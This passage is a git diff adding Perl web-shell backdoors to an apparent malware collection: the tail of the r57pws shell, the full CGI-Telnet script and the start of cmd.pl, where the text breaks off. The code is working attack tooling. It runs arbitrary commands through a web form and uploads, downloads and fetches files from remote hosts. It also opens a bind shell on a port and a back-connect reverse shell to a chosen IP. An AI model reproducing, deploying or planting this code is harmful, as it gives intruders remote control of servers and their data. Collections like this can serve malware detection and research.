#000000 1px solid; +font: 8pt Verdana; +} + +td { +BORDER-RIGHT: #000000 1px solid; +BORDER-TOP: #000000 1px solid; +BORDER-LEFT: #000000 1px solid; +BORDER-BOTTOM: #000000 1px solid; +font: 8pt Verdana; +} + +table { +BORDER-RIGHT: #000000 0px solid; +BORDER-TOP: #000000 0px solid; +BORDER-LEFT: #000000 0px solid; +BORDER-BOTTOM: #000000 0px solid; +BACKGROUND-COLOR: #FFFFFF; +font: 8pt Verdana; +} + +input { +BORDER-RIGHT: #000000 1px solid; +BORDER-TOP: #000000 1px solid; +BORDER-LEFT: #000000 1px solid; +BORDER-BOTTOM: #000000 1px solid; +BACKGROUND-COLOR: #FFFFFF; +font: 8pt Verdana; +} + +select { +BORDER-RIGHT: #000000 1px solid; +BORDER-TOP: #000000 1px solid; +BORDER-LEFT: #000000 1px solid; +BORDER-BOTTOM: #000000 1px solid; +BACKGROUND-COLOR: #FFFFFF; +font: 8pt Verdana; +} + +submit { +BORDER-RIGHT: buttonhighlight 1px solid; +BORDER-TOP: buttonhighlight 1px solid; +BORDER-LEFT: buttonhighlight 1px solid; +BORDER-BOTTOM: buttonhighlight 1px solid; +BACKGROUND-COLOR: #FFFFFF; +width: 30%; +} + +textarea { +BORDER-RIGHT: #000000 1px solid; +BORDER-TOP: #000000 1px solid; +BORDER-LEFT: #000000 1px solid; +BORDER-BOTTOM: #000000 1px solid; +BACKGROUND-COLOR: #FFFFFF; +font: Fixedsys bold; +} + +a: { text-decoration: none } +a:link { text-decoration: none} +a:hover { text-decoration: none; color: red} +a:active { text-decoration: none} +a:visited { text-decoration: none} + +</style> +</HEAD> +<body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" link="#000000" vlink="#000000" alink="#000000"> +$d1 +}; +if(length($j2)!=1471) { die(); } +# start table +print qq{$t1$tr1&nbsp;<font face=Webdings size=6><b>!</b></font>&nbsp;&nbsp;<b><font face=tahoma>r57pws - Perl Web Shell by RST/GHC version $version</font></b>$tr2}; + +# cmd report form +print "$tr1$d1<font color=red><b>$error</b>$d2</font>$tr2" if $error; +print "$tr1&nbsp;"; +if(($FORM{ACTION} ne 'VIEW')||$error) + { + &l(6); + ($p_cmd = $FORM{CMD}) =~ s/(^.{90})(?:.+)/$1 .../; + print "&nbsp;<font color=blue><b>$p_cmd</b></font>$tr2"; + } +else + { + (!$readonly)?(&l(14)):(&l(15)); + print "&nbsp;<font color=blue><b>$FORM{EFILE}</b></font>$tr2"; + if(!$readonly){ &form(0); } + } +print "$tr1$d1<textarea name=REPORT cols=121 rows=15>"; +foreach(@cmd_report){ print $_; } +print "</textarea>"; +if(($FORM{ACTION} eq 'VIEW') && !$error &&!$readonly) + { + print "<BR>"; + &input('submit','submit',$lang[16],undef,undef); + &input('hidden','ACTION','SAVE',undef,undef); + &input('hidden','DIR',$cur_dir,undef,undef); + &input('hidden','SFILE',$FORM{EFILE},undef,undef); + } +print "$d2$tr2"; +if(($FORM{ACTION} eq 'VIEW') && !$error &&!$readonly){ print $f; } + +# change dir form +&form(0); +print "$t1$tr1&nbsp;"; +&l(2); +print "&nbsp;"; +&input('text','DIR',$cur_dir,129,'&nbsp;'); +&input('submit','submit',$lang[7],undef,undef); +&input('hidden','ACTION','CD',undef,undef); +print $tr2,$f,$t2; + +print "$t2$d1$t1"; + +# cmd form +&form(0); +print "<tr>$td1$d1"; +&l(0); +&l(1); +print "&nbsp;"; +&input('text','CMD',$FORM{CMD},45,'&nbsp;'); +&input('hidden','DIR',$cur_dir,undef,undef); +&input('hidden','ACTION','CMD',undef,undef); +&input('submit','submit',$lang[5],undef,undef); +print "$d2</td>$f"; + +# alias form +&form(0); +print $td1,$d1; +&l(3); +print "&nbsp;"; +&l(4); +print "&nbsp;"; +print "<select name=ALIAS>"; +while( ($key,$value) = each %alias ) + { + print "<option>$key</option>"; + } +print "</select>&nbsp;"; +&input('hidden','DIR',$cur_dir,undef,undef); +&input('hidden','ACTION','ALIAS',undef,undef); +&input('submit','submit',$lang[5],undef,undef); +print $d2,$tr2,$f; + +# file upload form +&form(1); +print "<tr>$td1$d1"; +&l(8); +print "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; +&l(9); +print "&nbsp;"; +&input('file','FILE','',35,undef); +&input('hidden','DIR',$cur_dir,undef,undef); +&input('hidden','ACTION','UPLOAD',undef,'&nbsp;&nbsp;'); +&input('submit','submit',$lang[10],undef,undef); +print "$d2</td>$f"; + +# upload from remote host +&form(0); +print $td1,$d1; +&l(11); +print "&nbsp;"; +&l(9); +print '&nbsp;'; +&input('text','FILE','http://server.com/file.txt',49,undef); +&input('hidden','DIR',$cur_dir,undef,undef); +&input('hidden','ACTION','RUPLOAD',undef,'&nbsp'); +&input('submit','submit',$lang[10],undef,undef); +print $d2,$tr2,$f; + +# view/edit file form +&form(0); +print "<tr>$td1$d1"; +&l(12); +print "&nbsp;&nbsp;&nbsp;"; +&l(9); +print "&nbsp;"; +&input('text','EFILE',$cur_dir,45,'&nbsp;'); +&input('hidden','DIR',$cur_dir,undef,undef); +&input('hidden','ACTION','VIEW',undef,undef); +&input('submit','submit',$lang[13],undef,undef); +print "$d2</td>$f"; + +# download file +&form(0); +print $td1,$d1; +&l(17); +print "&nbsp;"; +&l(9); +print "&nbsp;"; +&input('text','DFILE',$cur_dir,49,'&nbsp;'); +&input('hidden','DIR',$cur_dir,undef,undef); +&input('hidden','ACTION','DOWNLOAD',undef,undef); +&input('submit','submit',$lang[18],undef,undef); +print $d2,$tr2,$f; + +# port bind form +&form(0); +print "<tr>$td1$d1"; +&l(19); +&l(20); +print "&nbsp;"; +&input('text','PORT','11457',15,'&nbsp;'); +&input('hidden','DIR',$cur_dir,undef,undef); +&input('hidden','ACTION','BIND',undef,undef); +&input('submit','submit',$lang[21],undef,undef); +print "$d2</td>$f"; + +# backconnect form +&form(0); +print $td1,$d1; +&l(22); +print "&nbsp;"; +&l(23); +print "&nbsp;"; +&input('text','IP',$ENV{REMOTE_ADDR},15,'&nbsp;'); +&l(20); +print "&nbsp;"; +&input('text','PORT','11457',15,'&nbsp;'); +&input('hidden','DIR',$cur_dir,undef,undef); +&input('hidden','ACTION','BACK',undef,undef); +&input('submit','submit',$lang[24],undef,undef); +print $d2,$tr2,$f; + +# end table +print qq{$t2$d2}; +# (c) + stats +print qq{$t1$tr1$d1$j1$d2$tr2$t2}; +############### END HTML +print qq{$j2$d2</BODY></HTML>}; +############### GET VALUES +sub get_val() + { + sysread(STDIN,$query,$ENV{'CONTENT_LENGTH'}); + @formfields = split(/&/,$query); + foreach(@formfields) + { + ($f_n,$f_v) = split(/=/,$_); + $f_n = &urldecode($f_n); + $f_v = &urldecode($f_v); + $FORM{$f_n} = $f_v; + } + } +############### GET FILE +sub get_file() + { + binmode(STDIN) if !$unix; + sysread(STDIN, $query, $ENV{'CONTENT_LENGTH'}); + $boundary = '--'.@_[0]; + @formfields = split(/$boundary/, $query); + $headerbody = $formfields[1]; + $headerbody =~ /\r\n\r\n|\n\n/; + $header = $`; + $body = $'; + $body =~ s/\r\n$//; + $FILE{filedata} = $body; + $header =~ /filename=\"(.+)\"/; + $FILE{f} = $1; + $FILE{f} =~ s/\"//g; + $FILE{f} =~ s/\s//g; + for($i=2; $formfields[$i]; $i++) + { + $formfields[$i] =~ s/^.+name=$//; + $formfields[$i] =~ /\"(\w+)\"/; + $f_n = $1; + $f_v = $'; + $f_v =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g; + $f_v = &urldecode($f_v); + $FORM{$f_n} = $f_v; + } + } +############### URLDECODE +sub urldecode() + { + local($val) = @_; + $val =~ s/\+/ /g; + $val =~ s/%([0-9a-hA-H]{2})/pack('C',hex($1))/ge; + return $val; + } +############### INPUT +sub input() + { + $return = "<input type=@_[0] name=@_[1] value=\"@_[2]\""; + $return .= " size=@_[3]" if defined@_[3]; + $return .= ">"; + $return .= "@_[4]" if defined @_[4]; + print $return; + } +############### FORM +sub form() + { + $return = '<form name=form method=post'; + $return .= ' enctype=multipart/form-data' if @_[0]; + $return .= '>'; + print $return; + } +############### LANG +sub l() + { + print $lang[@_[0]]; + } +############### PORT BIND +sub port_bind() + { + $SHELL=($unix)?('/bin/bash -i'):('cmd.exe'); + $LISTEN_PORT=@_[0]; + use Socket; + $protocol=getprotobyname('tcp'); + socket(S,&PF_INET,&SOCK_STREAM,$protocol); + setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1); + bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)); + listen(S,3); + while(1) + { + accept(CONN,S); + if(!($pid=fork)) + { + die if (!defined $pid); + open STDIN,"<&CONN"; + open STDOUT,">&CONN"; + open STDERR,">&CONN"; + exec $SHELL; + close CONN; + exit 0; + } + } + } +############### BACK CONNECT +sub back() + { + use Socket; + $cmd= "lynx"; + $system = ($unix)?('echo "`uname -a`";echo "`id`";/bin/sh'):('cmd.exe'); + $0=$cmd; + $target=@_[0]; + $port=@_[1]; + $iaddr=inet_aton($target) || die("Error: $!\n"); + $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n"); + $proto=getprotobyname('tcp'); + socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); + connect(SOCKET, $paddr) || die("Error: $!\n"); + open(STDIN, ">&SOCKET"); + open(STDOUT, ">&SOCKET"); + open(STDERR, ">&SOCKET"); + system($system); + close(STDIN); + close(STDOUT); + close(STDERR); + } +############### LINK +sub link() + { + print "<HTML><BODY><div align=center><font face=verdana size=1><b>DONE!<br><br><a href=$script_name>?????</a></b></font></div></BODY></HTML>"; + } +############### LOGIN FORM +sub form_login() + { + print "Content-type: text/html\n\n"; + print "<HTML><TITLE>r57pws - login</TITLE><BODY><div align=center><font face=verdana size=1>"; + &l(25); + &form(0); + &input('password','PASS','',25,'<BR><BR>'); + &input('submit','submit',$lang[26],undef,undef); + print "$f</font></div></BODY></HTML>"; + } +############### COOK +sub cook() + { + @cookies = split(/; /,$ENV{'HTTP_COOKIE'}); + foreach (@cookies) + { + ($f_n, $f_v) = split(/=/, $_); + $COOK{$f_n} = $f_v; + } + } +############### CRY +sub cry() + { + # just for fun + return crypt(crypt(crypt(shift,'c0'),'6a'),'ka'); + } +############### EOF diff --git a/web-malware-collection-master/Backdoors/PL/cgitelnet.txt b/web-malware-collection-master/Backdoors/PL/cgitelnet.txt new file mode 100755 index 0000000..405666e --- /dev/null +++ b/web-malware-collection-master/Backdoors/PL/cgitelnet.txt @@ -0,0 +1,692 @@ +#!/usr/bin/perl +#------------------------------------------------------------------------------ +# Copyright and Licence +#------------------------------------------------------------------------------ +# CGI-Telnet Version 1.0 for NT and Unix : Run Commands on your Web Server +# +# Copyright (C) 2001 Rohitab Batra +# Permission is granted to use, distribute and modify this script so long +# as this copyright notice is left intact. If you make changes to the script +# please document them and inform me. If you would like any changes to be made +# in this script, you can e-mail me. +# +# Author: Rohitab Batra +# Author e-mail: rohitab@rohitab.com +# Author Homepage: http://www.rohitab.com/ +# Script Homepage: http://www.rohitab.com/cgiscripts/cgitelnet.html +# Product Support: http://www.rohitab.com/support/ +# Discussion Forum: http://www.rohitab.com/discuss/ +# Mailing List: http://www.rohitab.com/mlist/ +#------------------------------------------------------------------------------ + +#------------------------------------------------------------------------------ +# Installation +#------------------------------------------------------------------------------ +# To install this script +# +# 1. Modify the first line "#!/usr/bin/perl" to point to the correct path on +# your server. For most servers, you may not need to modify this. +# 2. Change the password in the Configuration section below. +# 3. If you're running the script under Windows NT, set $WinNT = 1 in the +# Configuration Section below. +# 4. Upload the script to a directory on your server which has permissions to +# execute CGI scripts. This is usually cgi-bin. Make sure that you upload +# the script in ASCII mode. +# 5. Change the permission (CHMOD) of the script to 755. +# 6. Open the script in your web browser. If you uploaded the script in +# cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl +# 7. Login using the password that you specified in Step 2. +#------------------------------------------------------------------------------ + +#------------------------------------------------------------------------------ +# Configuration: You need to change only $Password and $WinNT. The other +# values should work fine for most systems. +#------------------------------------------------------------------------------ +$Password = "changeme"; # Change this. You will need to enter this + # to login. + +$WinNT = 0; # You need to change the value of this to 1 if + # you're running this script on a Windows NT + # machine. If you're running it on Unix, you + # can leave the value as it is. + +$NTCmdSep = "&"; # This character is used to seperate 2 commands + # in a command line on Windows NT. + +$UnixCmdSep = ";"; # This character is used to seperate 2 commands + # in a command line on Unix. + +$CommandTimeoutDuration = 10; # Time in seconds after commands will be killed + # Don't set this to a very large value. This is + # useful for commands that may hang or that + # take very long to execute, like "find /". + # This is valid only on Unix servers. It is + # ignored on NT Servers. + +$ShowDynamicOutput = 1; # If this is 1, then data is sent to the + # browser as soon as it is output, otherwise + # it is buffered and send when the command + # completes. This is useful for commands like + # ping, so that you can see the output as it + # is being generated. + +# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !! + +$CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep); +$CmdPwd = ($WinNT ? "cd" : "pwd"); +$PathSep = ($WinNT ? "\\" : "/"); +$Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1"); + +#------------------------------------------------------------------------------ +# Reads the input sent by the browser and parses the input variables. It +# parses GET, POST and multipart/form-data that is used for uploading files. +# The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}. +# Other variables can be accessed using $in{'var'}, where var is the name of +# the variable. Note: Most of the code in this function is taken from other CGI +# scripts. +#------------------------------------------------------------------------------ +sub ReadParse +{ + local (*in) = @_ if @_; + local ($i, $loc, $key, $val); + + $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/; + + if($ENV{'REQUEST_METHOD'} eq "GET") + { + $in = $ENV{'QUERY_STRING'}; + } + elsif($ENV{'REQUEST_METHOD'} eq "POST") + { + binmode(STDIN) if $MultipartFormData & $WinNT; + read(STDIN, $in, $ENV{'CONTENT_LENGTH'}); + } + + # handle file upload data + if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/) + { + $Boundary = '--'.$1; # please refer to RFC1867 + @list = split(/$Boundary/, $in); + $HeaderBody = $list[1]; + $HeaderBody =~ /\r\n\r\n|\n\n/; + $Header = $`; + $Body = $'; + $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape + $in{'filedata'} = $Body; + $Header =~ /filename=\"(.+)\"/; + $in{'f'} = $1; + $in{'f'} =~ s/\"//g; + $in{'f'} =~ s/\s//g; + + # parse trailer + for($i=2; $list[$i]; $i++) + { + $list[$i] =~ s/^.+name=$//; + $list[$i] =~ /\"(\w+)\"/; + $key = $1; + $val = $'; + $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g; + $val =~ s/%(..)/pack("c", hex($1))/ge; + $in{$key} = $val; + } + } + else # standard post data (url encoded, not multipart) + { + @in = split(/&/, $in); + foreach $i (0 .. $#in) + { + $in[$i] =~ s/\+/ /g; + ($key, $val) = split(/=/, $in[$i], 2); + $key =~ s/%(..)/pack("c", hex($1))/ge; + $val =~ s/%(..)/pack("c", hex($1))/ge; + $in{$key} .= "\0" if (defined($in{$key})); + $in{$key} .= $val; + } + } +} + +#------------------------------------------------------------------------------ +# Prints the HTML Page Header +# Argument 1: Form item name to which focus should be set +#------------------------------------------------------------------------------ +sub PrintPageHeader +{ + $EncodedCurrentDir = $CurrentDir; + $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg; + print "Content-type: text/html\n\n"; + print <<END; +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> +<html> +<head> +<title>CGI-Telnet Version 1.0</title> +$HtmlMetaHeader +</head> +<body onLoad="document.f.@_.focus()" bgcolor="#000000" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0"> +<table border="1" width="100%" cellspacing="0" cellpadding="2"> +<tr> +<td bgcolor="#C2BFA5" bordercolor="#000080" align="center"> +<b><font color="#000080" size="2">#</font></b></td> +<td bgcolor="#000080"><font face="Verdana" size="2" color="#FFFFFF"><b>CGI-Telnet Version 1.0 - Connected to $ServerName</b></font></td> +</tr> +<tr> +<td colspan="2" bgcolor="#C2BFA5"><font face="Verdana" size="2"> +<a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir">Upload File</a> | +<a href="$ScriptLocation?a=download&d=$EncodedCurrentDir">Download File</a> | +<a href="$ScriptLocation?a=logout">Disconnect</a> | +<a href="http://www.rohitab.com/cgiscripts/cgitelnet.html">Help</a> +</font></td> +</tr> +</table> +<font color="#C0C0C0" size="3"> +END +} + +#------------------------------------------------------------------------------ +# Prints the Login Screen +#------------------------------------------------------------------------------ +sub PrintLoginScreen +{ + $Message = q$<pre><font color="#669999"> _____ _____ _____ _____ _ _ +/ __ \| __ \|_ _| |_ _| | | | | +| / \/| | \/ | | ______ | | ___ | | _ __ ___ | |_ +| | | | __ | | |______| | | / _ \| || '_ \ / _ \| __| +| \__/\| |_\ \ _| |_ | | | __/| || | | || __/| |_ + \____/ \____/ \___/ \_/ \___||_||_| |_| \___| \__| 1.0 + +</font><font color="#FF0000"> ______ </font><font color="#AE8300">� 2001, Rohitab Batra</font><font color="#FF0000"> + .-&quot; &quot;-. + / \ + | | + |, .-. .-. ,| + | )(_o/ \o_)( | + |/ /\ \| + (@_ (_ ^^ _) + _ ) \</font><font color="#808080">_______</font><font color="#FF0000">\</font><font color="#808080">__</font><font color="#FF0000">|IIIIII|</font><font color="#808080">__</font><font color="#FF0000">/</font><font color="#808080">_______________________ +</font><font color="#FF0000"> (_)</font><font color="#808080">@8@8</font><font color="#FF0000">{}</font><font color="#808080">&lt;________</font><font color="#FF0000">|-\IIIIII/-|</font><font color="#808080">________________________&gt;</font><font color="#FF0000"> + )_/ \ / + (@ `--------` + </font><font color="#AE8300">W A R N I N G: Private Server</font></pre> +$; +#' + print <<END; +<code> +Trying $ServerName...<br> +Connected to $ServerName<br> +Escape character is ^] +<code>$Message +END +} + +#------------------------------------------------------------------------------ +# Prints the message that informs the user of a failed login +#------------------------------------------------------------------------------ +sub PrintLoginFailedMessage +{ + print <<END; +<code> +<br>login: admin<br> +password:<br> +Login incorrect<br><br> +</code> +END +} + +#------------------------------------------------------------------------------ +# Prints the HTML form for logging in +#------------------------------------------------------------------------------ +sub PrintLoginForm +{ + print <<END; +<code> +<form name="f" method="POST" action="$ScriptLocation"> +<input type="hidden" name="a" value="login"> +login: admin<br> +password:<input type="password" name="p"> +<input type="submit" value="Enter"> +</form> +</code> +END +} + +#------------------------------------------------------------------------------ +# Prints the footer for the HTML Page +#------------------------------------------------------------------------------ +sub PrintPageFooter +{ + print "</font></body></html>"; +} + +#------------------------------------------------------------------------------ +# Retreives the values of all cookies. The cookies can be accesses using the +# variable $Cookies{''} +#------------------------------------------------------------------------------ +sub GetCookies +{ + @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'}); + foreach $cookie(@httpcookies) + { + ($id, $val) = split(/=/, $cookie); + $Cookies{$id} = $val; + } +} + +#------------------------------------------------------------------------------ +# Prints the screen when the user logs out +#------------------------------------------------------------------------------ +sub PrintLogoutScreen +{ + print "<code>Connection closed by foreign host.<br><br></code>"; +} + +#------------------------------------------------------------------------------ +# Logs out the user and allows the user to login again +#------------------------------------------------------------------------------ +sub PerformLogout +{ + print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie + &PrintPageHeader("p"); + &PrintLogoutScreen; + &PrintLoginScreen; + &PrintLoginForm; + &PrintPageFooter; +} + +#------------------------------------------------------------------------------ +# This function is called to login the user. If the password matches, it +# displays a page that allows the user to run commands. If the password doens't +# match or if no password is entered, it displays a form that allows the user +# to login +#------------------------------------------------------------------------------ +sub PerformLogin +{ + if($LoginPassword eq $Password) # password matched + { + print "Set-Cookie: SAVEDPWD=$LoginPassword;\n"; + &PrintPageHeader("c"); + &PrintCommandLineInputForm; + &PrintPageFooter; + } + else # password didn't match + { + &PrintPageHeader("p"); + &PrintLoginScreen; + if($LoginPassword ne "") # some password was entered + { + &PrintLoginFailedMessage; + } + &PrintLoginForm; + &PrintPageFooter; + } +} + +#------------------------------------------------------------------------------ +# Prints the HTML form that allows the user to enter commands +#------------------------------------------------------------------------------ +sub PrintCommandLineInputForm +{ + $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ "; + print <<END; +<code> +<form name="f" method="POST" action="$ScriptLocation"> +<input type="hidden" name="a" value="command"> +<input type="hidden" name="d" value="$CurrentDir"> +$Prompt +<input type="text" name="c"> +<input type="submit" value="Enter"> +</form> +</code> +END +} + +#------------------------------------------------------------------------------ +# Prints the HTML form that allows the user to download files +#------------------------------------------------------------------------------ +sub PrintFileDownloadForm +{ + $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ "; + print <<END; +<code> +<form name="f" method="POST" action="$ScriptLocation"> +<input type="hidden" name="d" value="$CurrentDir"> +<input type="hidden" name="a" value="download"> +$Prompt download<br><br> +Filename: <input type="text" name="f" size="35"><br><br> +Download: <input type="submit" value="Begin"> +</form> +</code> +END +} + +#------------------------------------------------------------------------------ +# Prints the HTML form that allows the user to upload files +#------------------------------------------------------------------------------ +sub PrintFileUploadForm +{ + $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ "; + print <<END; +<code> +<form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation"> +$Prompt upload<br><br> +Filename: <input type="file" name="f" size="35"><br><br> +Options: &nbsp;<input type="checkbox" name="o" value="overwrite"> +Overwrite if it Exists<br><br> +Upload:&nbsp;&nbsp;&nbsp;<input type="submit" value="Begin"> +<input type="hidden" name="d" value="$CurrentDir"> +<input type="hidden" name="a" value="upload"> +</form> +</code> +END +} + +#------------------------------------------------------------------------------ +# This function is called when the timeout for a command expires. We need to +# terminate the script immediately. This function is valid only on Unix. It is +# never called when the script is running on NT. +#------------------------------------------------------------------------------ +sub CommandTimeout +{ + if(!$WinNT) + { + alarm(0); + print <<END; +</xmp> +<code> +Command exceeded maximum time of $CommandTimeoutDuration second(s). +<br>Killed it! +<code> +END + &PrintCommandLineInputForm; + &PrintPageFooter; + exit; + } +} + +#------------------------------------------------------------------------------ +# This function is called to execute commands. It displays the output of the +# command and allows the user to enter another command. The change directory +# command is handled differently. In this case, the new directory is stored in +# an internal variable and is used each time a command has to be executed. The +# output of the change directory command is not displayed to the users +# therefore error messages cannot be displayed. +#------------------------------------------------------------------------------ +sub ExecuteCommand +{ + if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command + { + # we change the directory internally. The output of the + # command is not displayed. + + $OldDir = $CurrentDir; + $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd; + chop($CurrentDir = `$Command`); + &PrintPageHeader("c"); + $Prompt = $WinNT ? "$OldDir> " : "[admin\@$ServerName $OldDir]\$ "; + print "<code>$Prompt $RunCommand</code>"; + } + else # some other command, display the output + { + &PrintPageHeader("c"); + $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ "; + print "<code>$Prompt $RunCommand</code><xmp>"; + $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector; + if(!$WinNT) + { + $SIG{'ALRM'} = \&CommandTimeout; + alarm($CommandTimeoutDuration); + } + if($ShowDynamicOutput) # show output as it is generated + { + $|=1; + $Command .= " |"; + open(CommandOutput, $Command); + while(<CommandOutput>) + { + $_ =~ s/(\n|\r\n)$//; + print "$_\n"; + } + $|=0; + } + else # show output after command completes + { + print `$Command`; + } + if(!$WinNT) + { + alarm(0); + } + print "</xmp>"; + } + &PrintCommandLineInputForm; + &PrintPageFooter; +} + +#------------------------------------------------------------------------------ +# This function displays the page that contains a link which allows the user +# to download the specified file. The page also contains a auto-refresh +# feature that starts the download automatically. +# Argument 1: Fully qualified filename of the file to be downloaded +#------------------------------------------------------------------------------ +sub PrintDownloadLinkPage +{ + local($FileUrl) = @_; + if(-e $FileUrl) # if the file exists + { + # encode the file link so we can send it to the browser + $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg; + $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go"; + $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">"; + &PrintPageHeader("c"); + print <<END; +<code> +Sending File $TransferFile...<br> +If the download does not start automatically, +<a href="$DownloadLink">Click Here</a>. +</code> +END + &PrintCommandLineInputForm; + &PrintPageFooter; + } + else # file doesn't exist + { + &PrintPageHeader("f"); + print "<code>Failed to download $FileUrl: $!</code>"; + &PrintFileDownloadForm; + &PrintPageFooter; + } +} + +#------------------------------------------------------------------------------ +# This function reads the specified file from the disk and sends it to the +# browser, so that it can be downloaded by the user. +# Argument 1: Fully qualified pathname of the file to be sent. +#------------------------------------------------------------------------------ +sub SendFileToBrowser +{ + local($SendFile) = @_; + if(open(SENDFILE, $SendFile)) # file opened for reading + { + if($WinNT) + { + binmode(SENDFILE); + binmode(STDOUT); + } + $FileSize = (stat($SendFile))[7]; + ($Filename = $SendFile) =~ m!([^/^\\]*)$!; + print "Content-Type: application/x-unknown\n"; + print "Content-Length: $FileSize\n"; + print "Content-Disposition: attachment; filename=$1\n\n"; + print while(<SENDFILE>); + close(SENDFILE); + } + else # failed to open file + { + &PrintPageHeader("f"); + print "<code>Failed to download $SendFile: $!</code>"; + &PrintFileDownloadForm; + &PrintPageFooter; + } +} + + +#------------------------------------------------------------------------------ +# This function is called when the user downloads a file. It displays a message +# to the user and provides a link through which the file can be downloaded. +# This function is also called when the user clicks on that link. In this case, +# the file is read and sent to the browser. +#------------------------------------------------------------------------------ +sub BeginDownload +{ + # get fully qualified path of the file to be downloaded + if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | + (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute + { + $TargetFile = $TransferFile; + } + else # path is relative + { + chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/; + $TargetFile .= $PathSep.$TransferFile; + } + + if($Options eq "go") # we have to send the file + { + &SendFileToBrowser($TargetFile); + } + else # we have to send only the link page + { + &PrintDownloadLinkPage($TargetFile); + } +} + +#------------------------------------------------------------------------------ +# This function is called when the user wants to upload a file. If the +# file is not specified, it displays a form allowing the user to specify a +# file, otherwise it starts the upload process. +#------------------------------------------------------------------------------ +sub UploadFile +{ + # if no file is specified, print the upload form again + if($TransferFile eq "") + { + &PrintPageHeader("f"); + &PrintFileUploadForm; + &PrintPageFooter; + return; + } + &PrintPageHeader("c"); + + # start the uploading process + print "<code>Uploading $TransferFile to $CurrentDir...<br>"; + + # get the fullly qualified pathname of the file to be created + chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/; + $TransferFile =~ m!([^/^\\]*)$!; + $TargetName .= $PathSep.$1; + + $TargetFileSize = length($in{'filedata'}); + # if the file exists and we are not supposed to overwrite it + if(-e $TargetName && $Options ne "overwrite") + { + print "Failed: Destination file already exists.<br>"; + } + else # file is not present + { + if(open(UPLOADFILE, ">$TargetName")) + { + binmode(UPLOADFILE) if $WinNT; + print UPLOADFILE $in{'filedata'}; + close(UPLOADFILE); + print "Transfered $TargetFileSize Bytes.<br>"; + print "File Path: $TargetName<br>"; + } + else + { + print "Failed: $!<br>"; + } + } + print "</code>"; + &PrintCommandLineInputForm; + &PrintPageFooter; +} + +#------------------------------------------------------------------------------ +# This function is called when the user wants to download a file. If the +# filename is not specified, it displays a form allowing the user to specify a +# file, otherwise it displays a message to the user and provides a link +# through which the file can be downloaded. +#------------------------------------------------------------------------------ +sub DownloadFile +{ + # if no file is specified, print the download form again + if($TransferFile eq "") + { + &PrintPageHeader("f"); + &PrintFileDownloadForm; + &PrintPageFooter; + return; + } + + # get fully qualified path of the file to be downloaded + if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | + (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute + { + $TargetFile = $TransferFile; + } + else # path is relative + { + chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/; + $TargetFile .= $PathSep.$TransferFile; + } + + if($Options eq "go") # we have to send the file + { + &SendFileToBrowser($TargetFile); + } + else # we have to send only the link page + { + &PrintDownloadLinkPage($TargetFile); + } +} + +#------------------------------------------------------------------------------ +# Main Program - Execution Starts Here +#------------------------------------------------------------------------------ +&ReadParse; +&GetCookies; + +$ScriptLocation = $ENV{'SCRIPT_NAME'}; +$ServerName = $ENV{'SERVER_NAME'}; +$LoginPassword = $in{'p'}; +$RunCommand = $in{'c'}; +$TransferFile = $in{'f'}; +$Options = $in{'o'}; + +$Action = $in{'a'}; +$Action = "login" if($Action eq ""); # no action specified, use default + +# get the directory in which the commands will be executed +$CurrentDir = $in{'d'}; +chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq ""); + +$LoggedIn = $Cookies{'SAVEDPWD'} eq $Password; + +if($Action eq "login" || !$LoggedIn) # user needs/has to login +{ + &PerformLogin; +} +elsif($Action eq "command") # user wants to run a command +{ + &ExecuteCommand; +} +elsif($Action eq "upload") # user wants to upload a file +{ + &UploadFile; +} +elsif($Action eq "download") # user wants to download a file +{ + &DownloadFile; +} +elsif($Action eq "logout") # user wants to logout +{ + &PerformLogout; +} diff --git a/web-malware-collection-master/Backdoors/PL/cmd.pl b/web-malware-collection-master/Backdoors/PL/cmd.pl new file mode 100755 index 0000000..f529295 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PL/cmd.pl @@ -0,0 +1,67 @@ +#!/usr/bin/perl +# 